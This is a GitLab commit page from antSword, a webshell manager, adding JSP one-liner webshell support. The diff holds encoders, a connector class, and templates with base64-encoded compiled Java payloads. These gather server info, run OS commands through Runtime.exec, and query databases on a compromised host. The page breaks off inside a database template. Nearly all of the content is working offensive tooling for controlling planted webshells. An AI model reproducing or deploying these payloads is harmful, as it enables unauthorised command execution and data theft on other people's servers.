Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
92bf8721
Commit
92bf8721
authored
Mar 28, 2020
by
yzddmr6
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
增加对JSP一句话支持
parent
7e7720fc
Changes
17
Hide whitespace changes
Inline
Side-by-side
Showing
17 changed files
with
1212 additions
and
12 deletions
+1212
-12
app.entry.js
source/app.entry.js
+6
-2
base.js
source/core/base.js
+7
-7
index.js
source/core/index.js
+1
-1
default.js
source/core/jsp/decoder/default.js
+14
-0
base64.js
source/core/jsp/encoder/base64.js
+30
-0
hex.js
source/core/jsp/encoder/hex.js
+28
-0
index.js
source/core/jsp/index.js
+72
-0
base.js
source/core/jsp/template/base.js
+9
-0
command.js
source/core/jsp/template/command.js
+15
-0
default.js
source/core/jsp/template/database/default.js
+36
-0
mysql.js
source/core/jsp/template/database/mysql.js
+9
-0
oracle.js
source/core/jsp/template/database/oracle.js
+34
-0
sqlserver.js
source/core/jsp/template/database/sqlserver.js
+9
-0
filemanager.js
source/core/jsp/template/filemanager.js
+66
-0
index.js
source/modules/database/jsp/index.js
+871
-0
encoders.js
source/modules/settings/encoders.js
+2
-2
form.js
source/modules/shellmanager/list/form.js
+3
-0
No files found.
source/app.entry.js
View file @
92bf8721
...
...
@@ -165,12 +165,14 @@ antSword['encoders'] = (function () {
var
encoders
=
{
asp
:
[],
aspx
:
[],
jsp
:
[],
php
:
[],
custom
:
[]
};
var
encoders_path
=
{
asp
:
[],
aspx
:
[],
jsp
:
[],
php
:
[],
custom
:
[]
};
...
...
@@ -179,7 +181,7 @@ antSword['encoders'] = (function () {
!
fs
.
existsSync
(
userencoder_path
)
?
fs
.
mkdirSync
(
userencoder_path
)
:
null
;
[
'asp'
,
'aspx'
,
'php'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'
jsp'
,
'
custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
:
null
;
...
...
@@ -219,12 +221,14 @@ antSword['decoders'] = (function () {
asp
:
[],
aspx
:
[],
php
:
[],
jsp
:
[],
custom
:
[]
};
var
decoders_path
=
{
asp
:
[],
aspx
:
[],
php
:
[],
jsp
:
[],
custom
:
[]
};
let
userdecoder_path
=
path
.
join
(
remote
.
process
.
env
.
AS_WORKDIR
,
'antData/encoders'
);
...
...
@@ -232,7 +236,7 @@ antSword['decoders'] = (function () {
!
fs
.
existsSync
(
userdecoder_path
)
?
fs
.
mkdirSync
(
userdecoder_path
)
:
null
;
[
'asp'
,
'aspx'
,
'ph
p'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'js
p'
,
'custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
:
null
;
...
...
source/core/base.js
View file @
92bf8721
...
...
@@ -130,8 +130,8 @@ class Base {
* @return {Object} [返回字符串处理函数对象]
*/
format
(
opts
)
{
let
encode
=
opts
[
'encode'
];
let
randomPrefix
=
parseInt
(
opts
.
otherConf
[
"random-Prefix"
]);
let
encode
=
opts
[
'encode'
];
let
randomPrefix
=
parseInt
(
opts
.
otherConf
[
"random-Prefix"
]);
return
{
/**
* base64编码
...
...
@@ -147,13 +147,13 @@ class Base {
* @return {String} 编码后的字符串
*/
newbase64
(
str
)
{
let
randomString
=
(
length
)
=>
{
let
chars
=
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
;
let
randomString
=
(
length
)
=>
{
let
chars
=
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
;
let
result
=
''
;
for
(
let
i
=
length
;
i
>
0
;
--
i
)
result
+=
chars
[
Math
.
floor
(
Math
.
random
()
*
chars
.
length
)];
return
result
;
}
return
randomString
(
randomPrefix
)
+
Buffer
.
from
(
iconv
.
encode
(
Buffer
.
from
(
str
),
encode
)).
toString
(
'base64'
);
}
return
randomString
(
randomPrefix
)
+
Buffer
.
from
(
iconv
.
encode
(
Buffer
.
from
(
str
),
encode
)).
toString
(
'base64'
);
},
/**
* 字符串转16进制(不进行编码转换
...
...
@@ -226,7 +226,7 @@ class Base {
})
}
// 发送HTTP请求
data
[
'_'
]
=
data
[
'_'
].
replace
(
/#randomPrefix#/g
,
this
.
__opts__
.
otherConf
[
"random-Prefix"
]);
data
[
'_'
]
=
data
[
'_'
].
replace
(
/#randomPrefix#/g
,
this
.
__opts__
.
otherConf
[
"random-Prefix"
]);
return
data
;
}
}
else
{
...
...
source/core/index.js
View file @
92bf8721
...
...
@@ -14,7 +14,7 @@ class Core {
constructor
()
{
// 加载子模块列表
let
cores
=
{};
[
'php'
,
'asp'
,
'aspx'
,
'custom'
,
'php4'
].
map
((
_
)
=>
{
[
'php'
,
'asp'
,
'aspx'
,
'
jsp'
,
'
custom'
,
'php4'
].
map
((
_
)
=>
{
cores
[
_
]
=
require
(
`./
${
_
}
/index`
);
});
// 返回子模块对象
...
...
source/core/jsp/decoder/default.js
0 → 100644
View file @
92bf8721
/**
* JSP::default解码器
*/
'use strict'
;
module
.
exports
=
{
asoutput
:
()
=>
{
return
``
.
replace
(
/
\n\s
+/g
,
''
);
},
decode_buff
:
(
data
)
=>
{
return
data
;
}
}
\ No newline at end of file
source/core/jsp/encoder/base64.js
0 → 100644
View file @
92bf8721
//
// jsp::base64 编码模块
//
// :把除了密码跟api的其他参数都base64编码一次
//
'use strict'
;
module
.
exports
=
(
pwd
,
data
,
ext
=
null
)
=>
{
let
ret
=
{};
for
(
let
_
in
data
)
{
if
(
_
===
'_'
)
{
continue
};
ret
[
_
]
=
Buffer
.
from
(
data
[
_
])
.
toString
(
'base64'
);
}
if
(
ext
.
opts
[
'encode'
]
!=
"UTF8"
)
{
ret
[
'charset'
]
=
ext
.
opts
[
'encode'
];
}
if
(
ext
.
opts
[
'encoder'
]
!=
"default"
)
{
ret
[
'encoder'
]
=
ext
.
opts
[
'encoder'
];
}
if
(
ext
.
opts
[
'decoder'
]
!=
"default"
)
{
ret
[
'decoder'
]
=
ext
.
opts
[
'decoder'
];
}
ret
[
pwd
]
=
data
[
'_'
];
return
ret
;
}
\ No newline at end of file
source/core/jsp/encoder/hex.js
0 → 100644
View file @
92bf8721
//
// 16进制编码模块
//
'use strict'
;
module
.
exports
=
(
pwd
,
data
,
ext
=
null
)
=>
{
let
ret
=
{};
for
(
let
_
in
data
)
{
if
(
_
===
'_'
)
{
continue
};
ret
[
_
]
=
Buffer
.
from
(
data
[
_
])
.
toString
(
'hex'
);
}
if
(
ext
.
opts
[
'encode'
]
!=
"UTF8"
)
{
ret
[
'charset'
]
=
ext
.
opts
[
'encode'
];
}
if
(
ext
.
opts
[
'encoder'
]
!=
"default"
)
{
ret
[
'encoder'
]
=
ext
.
opts
[
'encoder'
];
}
if
(
ext
.
opts
[
'decoder'
]
!=
"default"
)
{
ret
[
'decoder'
]
=
ext
.
opts
[
'decoder'
];
}
ret
[
pwd
]
=
data
[
'_'
];
return
ret
;
}
\ No newline at end of file
source/core/jsp/index.js
0 → 100644
View file @
92bf8721
/**
* JSP服务端脚本模板
* 作者:yzddMr6
*/
'use strict'
;
const
Base
=
require
(
'../base'
);
class
JSP
extends
Base
{
constructor
(
opts
)
{
super
(
opts
);
// 解析模板
[
'base'
,
'command'
,
'filemanager'
,
'database/sqlserver'
,
'database/mysql'
,
'database/oracle'
].
map
((
_
)
=>
{
this
.
parseTemplate
(
`./jsp/template/
${
_
}
`
);
});
// 解析编码器
this
.
encoders
.
map
((
_
)
=>
{
this
.
parseEncoder
(
`./jsp/encoder/
${
_
}
`
);
});
this
.
decoders
.
map
((
_
)
=>
{
this
.
parseDecoder
(
`./jsp/decoder/
${
_
}
`
);
});
}
/**
* 获取编码器列表
* @return {array} 编码器列表
*/
get
encoders
()
{
return
[
'base64'
,
'hex'
];
}
get
decoders
()
{
return
[
'default'
];
}
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete
(
data
,
force_default
=
false
)
{
// 分隔符号
let
tag_s
,
tag_e
;
if
(
this
.
__opts__
[
'otherConf'
].
hasOwnProperty
(
'use-custom-datatag'
)
&&
this
.
__opts__
[
'otherConf'
][
'use-custom-datatag'
]
==
1
&&
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tags'
])
{
tag_s
=
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tags'
];
}
else
{
tag_s
=
"->|"
;
}
if
(
this
.
__opts__
[
'otherConf'
].
hasOwnProperty
(
'use-custom-datatag'
)
&&
this
.
__opts__
[
'otherConf'
][
'use-custom-datatag'
]
==
1
&&
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tage'
])
{
tag_e
=
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tage'
];
}
else
{
tag_e
=
"|<-"
;
}
// 使用编码器进行处理并返回
return
this
.
encodeComplete
(
tag_s
,
tag_e
,
data
);
}
}
module
.
exports
=
JSP
;
\ No newline at end of file
source/core/jsp/template/base.js
0 → 100644
View file @
92bf8721
//
// 基础信息模板
// 获取:当前路径、磁盘列表
//
module
.
exports
=
()
=>
({
info
:
'yv66vgAAADIAtQoANgBNBwBOCgACAE8KAAIAUAgAUQsAUgBTCABUBwBVCABWCgAIAFcIAFgLAFkAWgsAUgBbCwBZAFsIAFwKAAgAXQcAXgoANQBfCgAIAGAIAGEKAAIAYgoAYwBkBwBlBwBmCgAYAE0IAGcKABgAaAoAFwBgCgAYAGALABEAaQsAagBrCABsCwBtAG4KADYAbwoAcABxCgByAHMHAHQKACUAVwoAJQB1CgB2AHcKAHYAeAoAdgB5CgB2AHoIAHsKAHwAfQgAfgoANQB/CACACgB2AIEKAHYAggoAJQCDCgAlAGAHAEYHAIQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcATgcAhQcAhgcAhwcARgcAhAcAVQcAZQEAC1N5c0luZm9Db2RlAQA7KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMamF2YS9sYW5nL1N0cmluZzsBAA9Xd3dSb290UGF0aENvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwcAiAEAClNvdXJjZUZpbGUBABBTeXNJbmZvQ29kZS5qYXZhDAA3ADgBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwAiQCKDACLAIwBAAdjaGFyc2V0BwCFDACNAEkBAAVVVEYtOAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMADcAjgEACXRleHQvaHRtbAcAhgwAjwCODACQAI4BAAMtPnwMAJEAkgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAEYARwwAkwCUAQADfDwtDACVAJYHAJcMAJgAjgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACUVSUk9SOi8vIAwAkQCZDACaAJsHAJwMAJ0AngEAAS8HAJ8MAKAASQwAoQCiBwCjDACkAKUHAKYMAKcAlAEADGphdmEvaW8vRmlsZQwAqACUBwCHDACpAKoMAKsArAwArQCUDACuAK8BAAdvcy5uYW1lBwCwDACxAEkBAAl1c2VyLm5hbWUMAEgASQEAAQkMAK4AsgwAOwA8DACzALQBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL1N0cmluZwEAD1tMamF2YS9pby9GaWxlOwEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBAAtnZXRSZWFsUGF0aAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD2phdmEvbGFuZy9DbGFzcwEAC2dldFJlc291cmNlAQAiKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvVVJMOwEADGphdmEvbmV0L1VSTAEAB2dldFBhdGgBAAlnZXRQYXJlbnQBAAZjaGFyQXQBAAQoSSlDAQAHdmFsdWVPZgEAFShDKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEACWxpc3RSb290cwEAESgpW0xqYXZhL2lvL0ZpbGU7ACEANQA2AAAAAAAEAAEANwA4AAEAOQAAAB0AAQABAAAABSq3AAGxAAAAAQA6AAAABgABAAAABwABADsAPAABADkAAAFSAAMACQAAALMrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgW7AAhZEgm3AAo6BrsACFkSCbcACjoHGQQSC7kADAIALRkFuQANAgAZBBkFuQAOAgAZBhIPtgAQVxkHKi3AABG2ABK2ABBXGQYZB7YAE7YAEFcZBhIUtgAQVyy2ABUZBrYAE7YAFqcAIjoIGQe7ABhZtwAZEhq2ABsZCLYAHLYAG7YAHbYAEFcErAABAEAAjwCSABcAAgA6AAAASgASAAAACgAFAAsACgAMABAADQAqAA4ANQAPAEAAEQBJABIAUQATAFoAFABiABUAcAAWAHsAFwCDABgAjwAbAJIAGQCUABoAsQAcAD0AAAA1AAT+ACYHAD4HAD8HAEBBBwBB/wBpAAgHAEIHAEMHAD4HAD8HAEAHAEEHAEQHAEQAAQcARR4AAABGAEcAAQA5AAABLwADAAYAAADHEglNK7kAHgEAuQAfAQASILkAIQIAxgAZK7kAHgEAuQAfAQASILkAIQIATacAHCq2ACISILYAI7YAJE67ACVZLbcAJrYAJ02nAB9OKrYAIhIgtgAjtgAkOgS7ACVZGQS3ACa2ACdNuwAYWbcAGSwDtgAouAAptgAqtgAbLAS2ACu2ABu2AB1NEiy4AC1OEi64AC06BCostgAvOgW7ABhZtwAZLLYAGxIwtgAbGQW2ABsSMLYAGy22ABsSMLYAGxkEtgAbtgAdsAABAAMARwBKABcAAgA6AAAAOgAOAAAAIAADACIAGAAjAC4AJQA7ACYARwArAEoAKABLACkAWQAqAGYALACHAC0AjQAuAJQALwCbADAAPQAAAA4ABPwALgcAQRhCBwBFGwAAAEgASQABADkAAACwAAQABQAAAGESCU0rAwS2ADESILYAMpoAPbgAM04DNgQVBC2+ogAsuwAYWbcAGSy2ABstFQQytgA0AwW2ADG2ABsSCbYAG7YAHU2EBAGn/9OnABe7ABhZtwAZLLYAGxIgtgAbtgAdTSywAAAAAgA6AAAAJgAJAAAAMwADADQAEQA1ABUANgAfADcAQgA2AEgAOQBLADoAXwA8AD0AAAARAAT+ABgHAEEHAEoB+QAvAhMAAQBLAAAAAgBM'
,
probedb
:
'Z'
,
// 检测数据库函数支持
})
\ No newline at end of file
source/core/jsp/template/command.js
0 → 100644
View file @
92bf8721
//
// 命令执行模板
//
module
.
exports
=
()
=>
({
exec
:
{
_
:
'yv66vgAAADIA7goATABrBwBsCgACAG0KAAIAbggAbwsAcABxCAByCABzCAB0BwB1CgAKAHYIAHcLAHgAeQsAcAB6CwB4AHoHAHsKABAAawgAfAoAEAB9CgAQAH4KAEsAfwoASwCACACBCACCCgAKAIMKAEsAhAoACgB+CACFCgACAIYKAIcAiAcAiQgAigoAHwB+CACLCgAkAIwHAI0KACQAjgoAJACPCACQCACRCgAkAJIHAJMKACQAlAoAKgCVCgAkAJYKACQAlwoAEACYCACZCgAqAJoKACoAmwgAnAcAnQoANABrCgA0AJ4KAEsAnwgAoAgAoQoAogCjCgCiAKQKAKUApgoASwCnCgClAKgIAKkKAKoAqwoAJACsCACtCgAkAK4HAK8HALAKAEUAsQoARACyCgBEALMIALQKAEQAtQcAYQcAtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwBsBwC3BwC4BwCNBwBhBwC2BwB1BwCJAQACRUMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHAJMBABJFeGVjdXRlQ29tbWFuZENvZGUHALkBAAVpc1dpbgEAAygpWgEAD0NvcHlJbnB1dFN0cmVhbQEAQihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjtMamF2YS9sYW5nL1N0cmluZzspVgcArwcAugEAClNvdXJjZUZpbGUBABdFeGVjdXRlQ29tbWFuZENvZGUuamF2YQwATQBOAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMALsAvAwAvQC+AQAHZW5jb2RlcgcAtwwAvwDAAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATQDBAQAJdGV4dC9odG1sBwC4DADCAMEMAMMAwQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAxADFDADGAMcMAF8AXQwAXABdAQAEdmFyMgEAAy0+fAwAxADIDABhAF0BAAN8PC0MAMkAygcAywwAzADBAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAUQBSAQAQamF2YS9sYW5nL1N0cmluZwwAzQDODABNAM8BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA0ADHAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MANEA0gwATQDTDADUANUMANYA1wwAxADYAQABLAwA2QDTDADGAMABAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADaANsMAGMAZAEAAi1jAQACL2MHANwMAN0A3gwA3wDgBwDhDADiAOMMAGUAZgwA5ADjAQAHb3MubmFtZQcA5QwA5gDADADnAMcBAAN3aW4MAOgA6QEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDABNAOoMAE0A6wwA7ADHAQACDQoMAO0ATgEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABWNsb3NlACEASwBMAAAAAAAHAAEATQBOAAEATwAAAB0AAQABAAAABSq3AAGxAAAAAQBQAAAABgABAAAACQABAFEAUgABAE8AAAHfAAUACwAAAScrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJKiq7ABBZtwARLRIXuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgoZBxIYtgAZVxkIKhkJGQoZBrYAGrYAGVcZBxkItgAbtgAZVxkHEhy2ABlXLLYAHRkHtgAbtgAepwAiOgkZCLsAEFm3ABESILYAExkJtgAhtgATtgAUtgAZVwSsAAEAWgEDAQYAHwACAFAAAABWABUAAAAMAAUADQAKAA4AEAAPACoAEABEABEATwASAFoAFABjABUAawAWAHQAFwCgABgAzAAZANQAGgDkABsA7wAcAPcAHQEDACABBgAeAQgAHwElACEAUwAAAEIABv4AJgcAVAcAVQcAVkEHAFf8ABcHAFdBBwBX/wDDAAkHAFgHAFkHAFQHAFUHAFYHAFcHAFcHAFoHAFoAAQcAWx4AAABcAF0AAgBPAAAARAAEAAQAAAAeLBIitgAjmgAJLBIipgAFK7C7ACRZK7YAJS23ACawAAAAAgBQAAAACgACAAAAJAARACUAUwAAAAQAAg8BAF4AAAAEAAEAHwAAAF8AXQACAE8AAAFoAAYACAAAANwsEiK2ACOaAAksEiKmAJ8rEielAAwrEie2ACOZAAYSB7ASKDoEK7YAKUy7ACpZK7YAKwVstwAsOgUSBzoGAzYHFQcrtgArogBduwAQWbcAERkGtgATGQQrFQe2AC22AC4HeBkEKxUHBGC2AC22AC6AtgAvEjC2ABO2ABQ6BhkFGQQrFQe2AC22AC4HeBkEKxUHBGC2AC22AC6AtgAxhAcCp/+gGQUSCbYAMrAsEjO2ACOaAAksEjOmACMBOgS7ADRZtwA1OgUZBSu2ADY6BLsAJFkZBBIJtwAmsCuwAAAAAgBQAAAASgASAAAAKAAPACkAHgAqACEALAAlAC0AKgAuADkALwA9ADAASQAxAH0AMgCdADAAowA0AKsANQC6ADYAvQA3AMYAOADOADkA2gA7AFMAAAAqAAgPDgL/AB4ACAcAWAcAVwcAVwcAVwcAVwcAYAcAVwEAAPoAYvgABw4fAF4AAAAEAAEAHwAAAGEAXQACAE8AAADDAAQABwAAAFK7AApZEge3AAs6BAa9ACRZAytTWQQqtgA3mgAIEjinAAUSOVNZBSxTOgW4ADoZBbYAOzoGKhkGtgA8GQQttgA9KhkGtgA+GQQttgA9GQS2ABuwAAAAAgBQAAAAGgAGAAAAPgALAD8AKgBAADQAQQBAAEIATABDAFMAAAA/AAL/ACEABQcAWAcAVwcAVwcAVwcAWgADBwBiBwBiAf8AAQAFBwBYBwBXBwBXBwBXBwBaAAQHAGIHAGIBBwBXAF4AAAAEAAEAHwAAAGMAZAABAE8AAABOAAIAAgAAABgSP7gAQEwrtgBBTCsSQrYAQ5kABQSsA6wAAAACAFAAAAAWAAUAAABGAAYARwALAEgAFABJABYASgBTAAAACAAB/AAWBwBXAAAAZQBmAAIATwAAAI8ABgAGAAAAP7sARFm7AEVZKy23AEa3AEc6BRkFtgBIWToExgAfLLsAEFm3ABEZBLYAExJJtgATtgAUtgAZV6f/3BkFtgBKsQAAAAIAUAAAABYABQAAAE4AEgBPAB0AUAA5AFIAPgBTAFMAAAAiAAL9ABIABwBn/wAmAAYHAFgHAGgHAFoHAFcHAFcHAGcAAABeAAAABAABAB8AAQBpAAAAAgBq'
,
'var1'
:
'#{bin}'
,
'var2'
:
'#{cmd}'
,
},
listcmd
:
{
_
:
'Y'
,
'z1'
:
'#{binarr}'
}
})
\ No newline at end of file
source/core/jsp/template/database/default.js
0 → 100644
View file @
92bf8721
//
// 默认代码模板
//
// @params
// :encode SHELL编码
// :conn 数据库连接字符串
// :sql 执行SQL语句
// :db 数据库名
// :table 表名
module
.
exports
=
()
=>
({
show_databases
:
{
_
:
'yv66vgAAADIA/AoATABwBwBxCgACAHIKAAIAcwgATQsAdAB1CAB2CQBLAHcIAHgIAHkJAEsAegcAewoADAB8CAB9CwB+AH8LAHQAgAsAfgCABwCBCgASAHAIAIIKABIAgwoAEgCECgBLAIUKAEsAhggAhwgAiAoADACJCgBLAIoKAAwAhAgAiwoAAgCMCgCNAI4HAI8IAJAKACEAhAgAkQoAJgCSBwCTCgAmAJQKACYAlQgAlggAlwoAJgCYBwCZCgAmAJoKACwAmwoAJgCcCgAmAJ0KABIAnggAnwoALACgCgAsAKEIAKIHAKMKADYAcAoANgCkCgAmAKUIAKYIAKcKACYAqAoAJgCpCgCqAKsIAKwKAK0ArgsArwCwCwCxALILALMAtAsAtQC2CwC1ALcLALMAuAsAswC5CAC6CAC7CgBLALwHAGwHAL0BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbAcAvQcAcQcAvgcAvwcAbAcAkwcAewcAjwEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCZAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwAcAwQcAwgcAwwcAxAEADXNob3dEYXRhYmFzZXMBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABJzaG93RGF0YWJhc2VzLmphdmEMAFAAUQEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADFAMYMAMcAyAcAvgwAyQBhA